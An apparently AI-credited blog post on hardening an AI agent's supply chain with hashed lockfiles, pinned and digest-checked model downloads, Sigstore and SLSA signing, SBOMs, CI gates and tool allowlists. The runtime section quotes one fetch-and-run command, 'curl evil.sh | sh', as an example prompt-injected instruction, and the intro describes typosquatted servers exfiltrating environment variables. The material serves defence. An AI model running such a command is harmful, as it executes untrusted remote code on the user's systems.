Skip to content
Blog

Securing the Agent Supply Chain: Lockfiles, Signatures, and Model Provenance

How to secure every link of the agent supply chain — dependencies, tools, prompts, datasets, and model weights — with lockfiles, hash pinning, revision pins, Sigstore signatures, SBOMs, and CI scanning.

Published on • November 16, 2026

AI Assistant

It starts innocently. An agent team adds a handy MCP server for “file conversion” — the package name is one character off a popular tool, the README looks right, and nothing in your CI complains. Three weeks later the module quietly exfiltrates environment variables on import. Meanwhile, a data scientist’s pipeline pulls model="vendor/awesome-model" with no revision pin; the repo’s main branch is force-pushed overnight, and your production agent now runs weights nobody audited. Neither attack needed a vulnerability — only an unpinned link in the chain.

In this post, you will learn how to harden the full agent supply chain: lockfiles and hash-pinning for code dependencies, revision-pinned and hash-verified downloads for model artifacts from the Hugging Face Hub docs, signatures and attestations with Sigstore and SLSA provenance, SBOMs adapted for AI systems, CI scanning that fails the build, and runtime allowlists for tools and MCP servers.

Prerequisites

  • Python 3.10+ and pip install huggingface_hub safetensors
  • Node.js 18+ for the npm examples
  • A CI system that can run scripts and fail a pipeline (GitHub Actions, GitLab CI, anything)
  • Basic familiarity with Git, hashes, and the Hugging Face Hub

Map the Chain: Five Surfaces

An agent’s supply chain is wider than a traditional app’s. Count five distinct surfaces:

  1. Code dependencies — Python packages, npm modules, base images.
  2. Tools and plugins — MCP servers, function-tool packages, browser extensions the agent is told to load.
  3. Prompts and skills — Markdown instruction files, often fetched at runtime, rarely reviewed like code.
  4. Datasets — fine-tuning and retrieval corpora that can carry poisoned examples.
  5. Model weights — safetensors or pickle blobs served by your inference stack.

The unifying rule: every one of these must be pinned, verifiable, and reviewed before it reaches a running agent. Let’s take them in order of leverage.

Lockfiles and Hash Pinning

A version range (requests>=2.31) is a promise that tomorrow’s install matches yesterday’s test. A lockfile with hashes is a proof. For Python, generate a fully hashed requirements file:

# Pin every transitive dependency AND record its hash
pip install pip-tools
pip-compile --generate-hashes --output-file requirements.lock pyproject.toml

# CI installs only from the lock; any drift or hash mismatch fails
pip install --require-hashes --no-deps -r requirements.lock

--generate-hashes records the SHA-256 of every wheel and sdist. --require-hashes makes pip refuse anything that doesn’t match — a compromised PyPI artifact or a dependency-confusion name swap dies at install time, not at runtime. Commit the lockfile and require a human-approved diff on every change.

For npm, the lockfile is already hash-pinned; the discipline is to actually use it:

npm ci                    # installs exactly package-lock.json, never resolves anew
npm audit --omit=dev      # fail the build on known vulnerabilities

npm ci deletes node_modules and installs strictly from the lock — npm install may silently update it. In CI, run npm ci and treat any lockfile modification as a build failure.

Pinning Model Artifacts

Model repos are Git repos, and the Hub docs are explicit that revision accepts “a branch name, a tag, or a commit hash.” A branch name is a moving target; a commit hash is a fact. The huggingface_hub reference shows the cache even stores blobs by content hash — blobs/<sha256> with snapshots/<commit> symlinks — so the download layer already thinks in terms of verification.

Resolve once, pin forever:

from huggingface_hub import hf_hub_download, snapshot_download
from huggingface_hub import HfApi

# 1. Resolve the friendly name to an immutable commit hash
rev = HfApi().resolve_revision("vendor/awesome-model", revision="v2.1.0")
pinned = rev.resolved          # e.g. '2439f60ef33a0d46d85da5001d52aeda5b00ce9f'

# 2. Download exactly that commit — never "main"
path = snapshot_download(
    repo_id="vendor/awesome-model",
    revision=pinned,                       # commit hash, not a tag
    allow_patterns=["*.safetensors", "config.json"],   # least privilege
)

# 3. Verify the artifact's own digest before loading
import hashlib, pathlib
weights = pathlib.Path(path) / "model.safetensors"
digest = hashlib.sha256(weights.read_bytes()).hexdigest()
assert digest == EXPECTED_SHA256, f"weights changed: {digest}"

Three controls in one snippet. resolve_revision converts a tag into a commit hash you can store in config. revision=pinned means a force-push to main cannot change what your pipeline downloads. allow_patterns keeps tokenizer junk and stray scripts out of your image. And the explicit SHA-256 check catches a malicious re-upload at the same commit — something Git-level pinning alone can’t see.

While you’re at it, prefer safetensors over pickle. The Safetensors docs describe it as “a new simple format for storing tensors safely (as opposed to pickle)” — a plain JSON header plus raw tensor bytes, with no code-execution path. torch.load on an untrusted .bin is remote code execution by design; refuse it in CI.

Signatures and Attestations

Pinning proves stability; signatures prove origin. Three layers, cheapest first.

GPG commit signing. The Hub’s security docs cover signing commits with GPG so pushes are marked “Verified.” As the Hub itself notes, it guarantees origin, not safety — but it stops impersonation:

git config user.signingkey <YOUR_GPG_KEY_ID>
git commit -S -m "Add v2.1.0 model card"     # signed; shows Verified badge on the Hub

Upload the public key to your HF profile and enable 2FA on every account that can push.

Sigstore model signing. The sigstore/model-transparency project signs a model directory into a Sigstore bundle: a DSSE envelope holding an in-toto statement whose subjects are (file path, digest) pairs, signed with a short-lived certificate minted from an OIDC login. Signing events land in an append-only transparency log (Rekor), so a verifier can confirm the signature and that everyone else sees the same files:

pip install model-signing
model-signing sign --config config.yaml ./model-dir      # writes a sigstore bundle
model-signing verify --bundle model-dir/model.sigstore.json \
                    --cert-identity you@your-org.com \
                    --cert-issuer https://accounts.google.com ./model-dir

Verification recomputes every file hash and compares it against the signed manifest — tampering after training is detectable by anyone, not just the trainer.

SLSA provenance. Where Sigstore answers “who signed this?”, SLSA provenance attestations answer “where did it come from?” — a signed statement naming the builder, the source repository, and the build steps that produced the artifact. Emit provenance from CI (GitHub’s actions/attest-build-provenance is the low-friction path), and require it at admission: your inference server or admission controller should reject weights without a valid attestation from your trusted builder.

SBOMs for AI

A software bill of materials lists every component so you can answer “are we affected?” in minutes when a CVE lands. Generate one per build:

# CycloneDX for the Python stack
pip install cyclonedx-bom
cyclonedx-py requirements requirements.lock -o sbom.cdx.json

# SPDX for the container
syft packages your-agent-image:latest -o spdx-json=sbom.spdx.json

Extend the concept beyond code: record the model’s repo id and commit hash, the dataset revision, and the prompt/skill files’ hashes in the same SBOM (or a companion model-card.yml). An AI system’s bill of materials that omits the model is a bill of materials for a system that doesn’t exist.

Scanning in CI

Tie the pieces together in a gate that fails the build:

# ci/verify_supply_chain.py — exits non-zero on any violation
import hashlib, json, sys, pathlib

PINS = json.loads(pathlib.Path("model_pins.json").read_text())  # {repo: {commit, sha256}}
failures = []

for repo, pin in PINS.items():
    from huggingface_hub import HfApi, hf_hub_download
    actual = HfApi().resolve_revision(repo).resolved
    if actual != pin["commit"]:
        failures.append(f"{repo}: pin {pin['commit']} != current {actual}")
    f = hf_hub_download(repo, "model.safetensors", revision=pin["commit"])
    if hashlib.sha256(pathlib.Path(f).read_bytes()).hexdigest() != pin["sha256"]:
        failures.append(f"{repo}: weight digest mismatch")

# Also enforce: no pickle weights, no unpinned MCP servers
for p in pathlib.Path(".").rglob("*.bin"):
    failures.append(f"pickle weights forbidden: {p}")

if failures:
    print("\n".join(failures)); sys.exit(1)
print("supply chain OK")

Run it after pip install --require-hashes and npm ci, before you build the image. The order matters: verify inputs, then produce artifacts.

Runtime Controls: Allowlists for Tools

Even verified inputs deserve an allowlist at runtime — assume breach, constrain blast radius. An agent should only be able to invoke tools you enumerated:

ALLOWED_TOOLS = {"fetch_inventory", "search_docs", "read_file"}
ALLOWED_MCP_SERVERS = {"github.com/your-org/mcp-docs@1.4.2"}   # name@pinned-version

def guard(tool_name: str, mcp_server: str | None = None) -> None:
    if tool_name not in ALLOWED_TOOLS:
        raise PermissionError(f"tool not on allowlist: {tool_name}")
    if mcp_server and mcp_server not in ALLOWED_MCP_SERVERS:
        raise PermissionError(f"mcp server not on allowlist: {mcp_server}")

Wire guard() into your tool dispatcher (or the SDK’s tool-input guardrails) so an injected instruction like “also run curl evil.sh | sh” dies at the boundary. Keep the allowlist in version control — adding a tool should be a reviewed PR, not a runtime discovery.

Putting It All Together

The hardened pipeline looks like this: CI installs from requirements.lock with --require-hashes and npm ci; verify_supply_chain.py confirms model commit pins and weight digests; safetensors-only policy rejects pickle; CycloneDX/SPDX SBOMs are generated and uploaded; Sigstore bundles and SLSA provenance attestations are attached to the release; and at runtime the tool allowlist constrains what the agent can touch regardless of what the model asks.

A green run prints:

deps: 143 packages hash-verified
models: vendor/awesome-model@2439f60 digest OK (safetensors)
sbom: sbom.cdx.json, sbom.spdx.json written
attestations: sigstore bundle + SLSA provenance attached
supply chain OK

An attacker now needs to compromise your build system, your signer identity, and the transparency log simultaneously — a very different problem than guessing which package name you’ll typo next.

Conclusion and Next Steps

You covered all five surfaces: hash-pinned lockfiles for code, revision-pinned and digest-verified downloads for weights, GPG/Sigstore/SLSA signatures for origin and provenance, SBOMs that include the model, CI gates that fail closed, and runtime allowlists that limit damage even if something slips through. The theme is uniform: pin it, verify it, attest it, allowlist it.

Homework: (1) run pip-compile --generate-hashes on your largest project and audit how many dependencies were previously floating; (2) resolve one production model to its commit hash and store it — then deliberately fetch main in a sandbox and diff; (3) sign a model directory with model-signing and verify it from a clean machine; (4) add the tool allowlist to your agent and try to make it call an off-list tool via prompt injection — watching that fail is the best test you can run.